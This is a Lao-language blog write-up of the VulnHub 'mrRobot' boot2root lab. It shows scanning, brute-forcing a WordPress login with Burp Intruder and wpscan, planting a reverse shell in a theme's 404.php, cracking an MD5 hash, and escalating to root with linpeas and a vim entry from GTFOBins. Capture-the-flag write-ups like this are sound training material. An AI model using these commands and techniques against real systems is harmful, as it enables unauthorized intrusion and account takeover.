VulnHub: mrRobot | Machine Lab (Boot2Root)— Writeup [Lao]

JocKKy
LaoHacker
Published in
7 min readMar 22, 2023
whoami

ສະບາຍດີ… ມື້ນີ້ເຮົາຈະມາຮຽນ Hacking ໄປພ້ອມກັນກັບການແກ້ໂຈດ Machine: mrRobot ຂອງ Vulnhub ເຊິ່ງເປັນ CTF ປະເພດ Machine(Boot2root)

ສຳຫຼັບໃຜທີ່ຍັງບໍ່ໄດ້ອ່ານບົດຄວາມກ່ອນໜ້ານີ້ສາມາດກັບໄປອ່ານໄດ້ທີ່ https://medium.com/@jockky.dev ຫຼື ອ່ານບົດຄວາມອື່ນໆທີ່ໜ້າສົນໃຈໄດ້ທີ່ https://medium.com/cyberustech & https://medium.com/laohacker
ຫຼື ເຂົ້າມາໂອ້ລົມກັນໄດ້ທີ່:
Discord LaoHacker Community: https://discord.gg/p5Sj8hdCDw
Facebook Page Lao Hacker: https://www.facebook.com/l4oh4ck3r

ຄືເກົ່າສຳຫຼັັບທຸກຕົວຢ່າງໃນບົດຄວາມແມ່ນໃຊ້ງານຜ່ານ Kali-Linux ໃນ VM

ຫຼັງຈາກ download machine ມາຈາກເວັບແລ້ວໃຫ້ import ເຂົ້າ virtual machine ແລ້ວທຳການ Run ທັງເຄື່ອງທີ່ເຮົາຈະໃຊ້ໂຈມຕີ(Kali-Linux) ແລະ ເຄື່ອງເປົ້າໝາຍ(mrRobot machine)

ຫຼັງຈາກ Run ແລ້ວເຂົ້າເຄື່ອງເຮົາແລ້ວເປີດ terminal ເພື່ອເລີ່ມໂຈມຕີ

ທຳອິດເຮົາເລີ່ມຈາກການ Scan ຄົ້ນຫາ IP Address ຂອງເຄື່ອງເປົ້າໝາຍໂດຍໃຊ້ຄຳສັ່ງ:

sudo netdiscover

ເຊິ່ງ machine ຂອງ vulnhub ສ່ວນໃຫຍ່ hostname ຈະຊື່ “PCS…….” ຕາມຮູບດ້ານເທິງ

ຫຼັງຈາກໄດ້ IP Address ຂອງເຄື່ອງເປົ້າໝາຍມາແລ້ວເຮົາຈະເລີ່ມຈາກການ Scanning ເພື່ອເກັບລວບລວມຂໍ້ມູນເທົ່າທີ່ເປັນໄປໄດ້ເພື່ອຫາວິທີໂຈມ

Scanning:

nmap:

nmap -sC -sV 192.168.43.15
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-05 20:36 +07
Nmap scan report for linux (192.168.43.113)
Host is up (0.0034s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
|_http-server-header: Apache
443/tcp open tcpwrapped
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-server-header: Apache

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.75 seconds

ຈາກ nmap scan ເຮົາຈະຮູ້ໄດ້ວ່າມີ apache web service ເປີດຢູ່ port 80, 443 ເຊິ່ງນັ້ນໝາຍຄວາມວ່າມີເວັບໃຫ້ເຮົາສາມາດເຂົ້າໄດ້ຜ່ານ IP ນີ້

ຕໍ່ໄປເຮົາຈະ scan ຫາ directory ແລະ file ໂດຍໃຊ້ gobuster ກັບ wordlists big.txt ຂອງ seclists

gobuster:

gobuster dir -u 192.168.43.15 -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.15
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/03/05 20:38:41 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 218]
/.htpasswd (Status: 403) [Size: 218]
/0 (Status: 301) [Size: 0] [--> http://192.168.43.15/0/]
/0000 (Status: 301) [Size: 0] [--> http://192.168.43.15/0000/]
/Image (Status: 301) [Size: 0] [--> http://192.168.43.15/Image/]
/admin (Status: 301) [Size: 236] [--> http://192.168.43.15/admin/]
/atom (Status: 301) [Size: 0] [--> http://192.168.43.15/feed/atom/]
/audio (Status: 301) [Size: 236] [--> http://192.168.43.15/audio/]
/blog (Status: 301) [Size: 235] [--> http://192.168.43.15/blog/]
/css (Status: 301) [Size: 234] [--> http://192.168.43.15/css/]
/dashboard (Status: 302) [Size: 0] [--> http://192.168.43.15/wp-admin/]
/favicon.ico (Status: 200) [Size: 0]
/feed (Status: 301) [Size: 0] [--> http://192.168.43.15/feed/]
/image (Status: 301) [Size: 0] [--> http://192.168.43.15/image/]
/images (Status: 301) [Size: 237] [--> http://192.168.43.15/images/]
/intro (Status: 200) [Size: 516314]
/js (Status: 301) [Size: 233] [--> http://192.168.43.15/js/]
/license (Status: 200) [Size: 19930]
/login (Status: 302) [Size: 0] [--> http://192.168.43.15/wp-login.php]
/page1 (Status: 301) [Size: 0] [--> http://192.168.43.15/]
/phpmyadmin (Status: 403) [Size: 94]
/rdf (Status: 301) [Size: 0] [--> http://192.168.43.15/feed/rdf/]
/readme (Status: 200) [Size: 7334]
/robots (Status: 200) [Size: 41]
/robots.txt (Status: 200) [Size: 41]
/rss (Status: 301) [Size: 0] [--> http://192.168.43.15/feed/]
/rss2 (Status: 301) [Size: 0] [--> http://192.168.43.15/feed/]
/sitemap.xml (Status: 200) [Size: 0]
/sitemap (Status: 200) [Size: 0]
/video (Status: 301) [Size: 236] [--> http://192.168.43.15/video/]
/wp-admin (Status: 301) [Size: 239] [--> http://192.168.43.15/wp-admin/]
/wp-content (Status: 301) [Size: 241] [--> http://192.168.43.15/wp-content/]
/wp-config (Status: 200) [Size: 0]
/wp-includes (Status: 301) [Size: 242] [--> http://192.168.43.15/wp-includes/]
/wp-login (Status: 200) [Size: 2754]
/xmlrpc (Status: 405) [Size: 42]
Progress: 20476 / 20477 (100.00%)
===============================================================
2023/03/05 20:50:37 Finished
===============================================================

ສະຫຼຸບຫຼັງຈາກລອງເຂົ້າເບິ່ງທຸກ file ທີ່ scan ເຈີເຮົາຈະຮູ້ໄດ້ວ່າຫຼາຍໆ file ຈະເປັນເວັບເປົ່າໆ ຫຼື ໜ້າເວັບທີ່ມີຂໍ້ມູນທີ່ບໍ່ກ່ຽວກັບໂຈດນອກຈາກໜ້າ index, login ແລະ robots.txt

Enumeration:

ໃນໜ້າ index ຂອງເວັບຈະເປັນເວັບທີ່ມີລູກຫຼິ້ນໃຫ້ເຮົາຫຼິ້ນ ເຊິ່ງເຮົາສາມາດພິມຄຳສັ່ງຕາມທີ່ຖືກ list ໃນ Commands ໄດ້

Commands:
prepare
fsociety
inform
question
wakeup
join

ຫຼັງຈາກລອງໃຊ້ທຸກຄຳສັ່ງຕາມດ້ານເທິງສະຫຼຸບ ບໍ່ໄດ້ມີຫຍັງຫຼາຍເປັນພຽງການອະທິບາຍກ່ຽວກັບຊື່ທີ່ມາ mrRobot ແລະ story ພາຍໃນ series Mr. Robot ເຊິ່ງເປັນ series ກ່ຽວກັບ Hacker…

ຕໍ່ໄປລອງເຂົ້າ robots.txt:

ເຮົາຈະເຫັນ 2 files ທີ່ຖືກ list ພາຍໃນ robots.txt ໃຫ້ download ທັງສອງ file ໂດຍໃຊ້ຄຳສັ່ງ wget:

wget http://192.168.43.113/fsocity.dic
wget http://192.168.43.113/key-1-of-3.txt

ອ່ານເບິ່ງເນື້ອຫາຂອງທັງ 2 file: fsocity.dic ຈະເປັນ text file ທີ່ມີ username, password ປົນກັນຢູ່ ຫຼື ກະຄືເປັນ file wordlist ທີ່ອາດຈະໃຫ້ເຮົາເອົາໄປ brute force login

ສຳຫຼັບ key-1-of-3.txt ມີ hash md5 ເຊິ່ງເຮົາບໍ່ຮູ້ວ່າເອົາໄປເຮັດຫຍັງ

ເຊິ່ງຈາກຜົນການ scan ເຮົາຮູ້ຢູ່ແລ້ວວ່່າມີໜ້າໃຫ້ເຮົາ login ນັ້ນກະຄື:
/wp-login:

Exploit:

ໃຫ້ທຳການ brute force ເພື່ອ login ເຊິ່ງໃນນີ້ຂ້ອຍໃຊ້ ເຄື່ອງມືທີ່ມີຊື່ວ່າ Intruder ເຊິ່ງເປັນເຄື່ອງມືໃນ Burp Suite

ທຳອິດໃຫ້ Intercept Request ຈາກໜ້າເວັບແລ້ວ Send to Intruder

ໃຫ້ລົບ “Clear $” ອອກໃຫ້ໝົດແລ້ວເຫຼືອໄວ້ແຕ່ value ໃນ “log” ເພື່ອ brute force ຫາ username ຕາມຮູບດ້ານລຸ່ມ

ຫຼັງຈາກນັ້ນໃຫ້ປ່ຽນໄປໜ້າ Payload ແລ້ວກົດ Load ເພື່ອເພີ່ມ wordlist fsocity.dic ທີ່ເຮົາໄດ້ຈາກຂັ້ນຕອນກ່ອນໜ້າ

ແລ້ວ Start Attack

ໃຫ້ເຮົານຳເບິ່ງແຕ່ລະ request ແລ້ວຫາເບິ່ງວ່າ request ໃດທີ່ມີເນື້ອຫາແຕກຕ່າງຈາກໂຕອື່ນເຊັ່ນ: Length ໃນໂຈດນີ້

ແລະ ເຮົາກະຈະໄດ້
username: Elliot

ແຕ່ເຮົາຍັງບໍ່ມີ password ເພື່ອໃຊ້ login ເທື່ອແຕ່ຄິດວ່າເຮົາໜ້າຈະ brute force ໄດ້ຈາກ wordlist ດຽວກັນກັບກ່ອນໜ້າແຕ່ຖ້າໃຊ້ Burp Suite Community version ຈະໃຊ້ເວລາດົນ

ແຕ່ເພື່ອປະຫຍັດເວລາ…. Time to use ChatGPT 😎
ໃຊ້ ChatGPT ເພື່ອຫາວິທີຫາ password ໂດຍໃຊ້ຄຳສັ່ງ wpscan

ເອົາມາປັບໃຊ້ປ່ຽນ path wordlist ແລະ ເພີ່ມ url:

wpscan --url http://192.168.43.15/wp-login --passwords fsocity.dic --usernames Elliot

ລອງໃຊ້ຄຳສັ່ງທີ່ໄດ້ມາ:

5hours later… ສຸດທ້າຍເຮົາກະຈະໄດ້ລະຫັດມາ

Username: Elliot
Password: ER28-0652

ໃຫ້ນຳເອົາໄປ login ຢູ່ /wp-login ເພື່ອເຂົ້າໜ້າ /wp-admin

ຫຼັງຈາກເຂົ້າໜ້າ /wp-admin ໄດ້ແລ້ວເຮົາສາມາດເອົາ wordpress version ໄປ search ເພື່ອຫາຊ່ອງໂຫວ່ໃນການໂຈມຕີເຊິ່ງເຮົາສາມາດໃຊ້ຄຳສັ່ງ wpscan ໃນການ scan ຫາ version ຂອງ theme ຫຼື plugin ທີ່ out-date ຫຼື ມີຊ່ອງໂຫວ່ໄດ້:

wpscan --url http://192.168.43.15/ --enumerate t
.
[i] Theme(s) Identified:

[+] twentyfifteen
| Location: http://192.168.43.15/wp-content/themes/twentyfifteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://192.168.43.15/wp-content/themes/twentyfifteen/readme.txt
| [!] The version is out of date, the latest version is 3.3
| Style URL: http://192.168.43.15/wp-content/themes/twentyfifteen/style.css
| Style Name: Twenty Fifteen
| Style URI: https://wordpress.org/themes/twentyfifteen/
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Urls In 404 Page (Passive Detection)
| Confirmed By: Known Locations (Aggressive Detection)
| - http://192.168.43.15/wp-content/themes/twentyfifteen/, status: 500
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.43.15/wp-content/themes/twentyfifteen/style.css, Match: 'Version: 1.3'

.
.
.

ຈາກຜົນການ scan ດ້ານເທິງເຮົາຈະຮູ້ໄດ້ວ່າມີ theme ທີ່ out-date ຫຼັງຈາກເອົາໄປ search ເຮົາຈະເຈີຊ່ອງໂຫວ່ທີ່ໃຫ້ເຮົາສາມາດເຮັດ reverse shell ໄດ້ຈາກການ edit theme: 404 Templates (404.php)

ເຊິ່ງ script ໃນການ reverse shell ເອົາມາຈາກ https://www.revshells.com/ ຄືເກົ່າ

ຫຼັງຈາກແກ້ໄຂ 404.php ແລ້ວກົດ Update

ໃນລະຫວ່າງນີ້ໃຫ້ເຮົາເປີດ netcat ເພື່ອດັກຖ້າ shell ທີ່ຈະຖືກສົ່ງກັບມາຖ້າ reverse shell ສຳເລັດເຊິ່ງເຮົາສາມາດໄປເອີ້ນໃຊ້ reverse shell ທີ່ເຮົາຫາກະເພີ່ມໄດ້ຈາກ:

http://192.168.43.15/wp-content/themes/twentyfifteen/404.php

ເຊິ່ງປົກກະຕິແລ້ວ path ຈະຢູ່ໃນ /wp-content/themes/[theme_name]/404.php

ແລະ ເຮົາກະຈະໄດ້ shell ມາ

ຫຼັງຈາກໄດ້ shell ມາໃນ /home/robot directory ຈະມີ file password.raw-md5 ທີ່ເຮົາສາມາດອ່ານເບິ່ງເນື້ອຫາໄດ້

robot:c3fcd3d76192e4007dfb496cca67e13b

ຈາກການເອົາໄປວິເຄາະຫາປະເພດຂອງ hash ໃນ https://hashes.com/en/tools/hash_identifier ເຮົາຈະຮູ້ວ່າມັນເປັນ hash ປະເພດ MD5

ເຮົາສາມາດເອົາໄປ crack ໄດ້ຕາມເວັບທົ່ວໄປ ຫຼື ໃຊ້ເຄື່ອງມືທີ່ມີໃນ kali-linux ເຊິ່ງໃນນີ້ຂ້ອຍໃຊ້ https://crackstation.net/ ໃນການ crack

ແລະ ເຮົາກະຈະໄດ້ username & password ມາ
Username: robot
Password: abcdefghijklmnopqrstuvwxyz

ເອົາໄປ login ໂດຍໃຊ້ຄຳສັ່ງ

su robot

su: must be run from a terminal

ຜົນປະກົດວ່າເຮົາບໍ່ສາມາດໃຊ້ຄຳສັ່ງ “su” ໄດ້ເພາະເຮົາບໍ່ໄດ້ run from a terminal ເຊິ່ງເດົາວ່າລະບົບຖືກຕັ້ງຄ່າ default ມາໃຫ້ເຮົາບໍ່ສາມາດໃຊ້ຄຳສັ່ງແບບທົ່ວໄປໄດ້ ຫຼັງຈາກລອງຫາວິທີປະກົດວ່າເຮົາສາມາດໃຊ້ python ໃນການ spawn shell ທີ່ຕ່າງຈາກທີ່ຖືກຕັ້ງຄ່າມາໄດ້ ແລະ ເຮົາກະຈະສາມາດ login ໄປ user ອື່ນໄດ້ສຳເລັດ

ແລະ ເຮົາສາມາດປ່ຽນມາເປັນ user robot ໄດ້ສຳເລັດ

Privilege Escalation:

ຕໍ່ມາຫາວິທີຍົກລະດັບສິດຂອງເຮົາໃຫ້ເປັນສິດສູງສຸດໂດຍເຮົາສາມາດໃຊ້ linpeas.sh ເຄື່ອງມື automate scan ຫາສິ່ງຜິດປົກກະຕິ ແລະ ລາຍລະອຽດທີ່ຈຳເປັນຕໍ່ການຍົກລະດັບສິດໃນເຄື່ອງ

ໂດຍເຮົາສາມາດ upload linpeas.sh ຈາກເຄື່ອງເຮົາໄປຍັງເຄື່ອງເປົ້າໝາຍໄດ້ໂດຍໃຊ້ python http server ໃນເຄື່ອງເຮົາ:

ແລ້ວໃຊ້ຄຳສັ່ງ wget ໃນເຄື່ອງເປົ້າໝາຍ:

wget http://127.0.0.1:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

ຜົນການ scan ໂດຍໃຊ້ linpeas.sh ໃຫ້ເຮົາສັງເກດໂຕອັກສອນສີແດງໂດຍໃນນີ້ເຮົາຈະເຫັນ vim ເຊິ່ງມີໂອກາດທີ່ຈະມີຊ່ອງໂຫວ່ໃຫ້ເຮົາສາມາດໃຊ້ເພື່ອຍົກລະດັບສິດຂອງເຮົາໄດ້ໂດຍເຮົາສາມາດຄົ້ນຫາວິທີໃນ google ໄດ້ ຫຼື ເອົາໄປຄົ້ນຫາໃນ https://gtfobins.github.io/ ຕາມພາບດ້ານລຸ່ມເພື່ອຫາຄຳສັ່ງມາໃຊ້:

ຫຼັງຈາກລອງໃຊ້ຄຳສັ່ງເຮົາກະຈະໄດ້ສິດສູງສຸດ ຫຼື root ມາ

ຈົບແລ້ວ~

ສຳຫຼັບໃຜທີ່ສົນໃຈໃນສາຍ Cyber Security ສາມາດມາໂອ້ລົມນຳກັນໄດ້ທີ່ Discord ຂອງ LaoHacker Community: https://discord.gg/p5Sj8hdCDw ຫຼື https://www.facebook.com/l4oh4ck3r
ແລ້ວພົບກັນໃນບົດຄວາມຕໍ່ໄປ ບະບາຍ~

--

--

JocKKy
LaoHacker

HELLO!! THIS is JOCKKY!, HE is a boy who REALLY LOVEs Drinking MILK... || Discord: jockky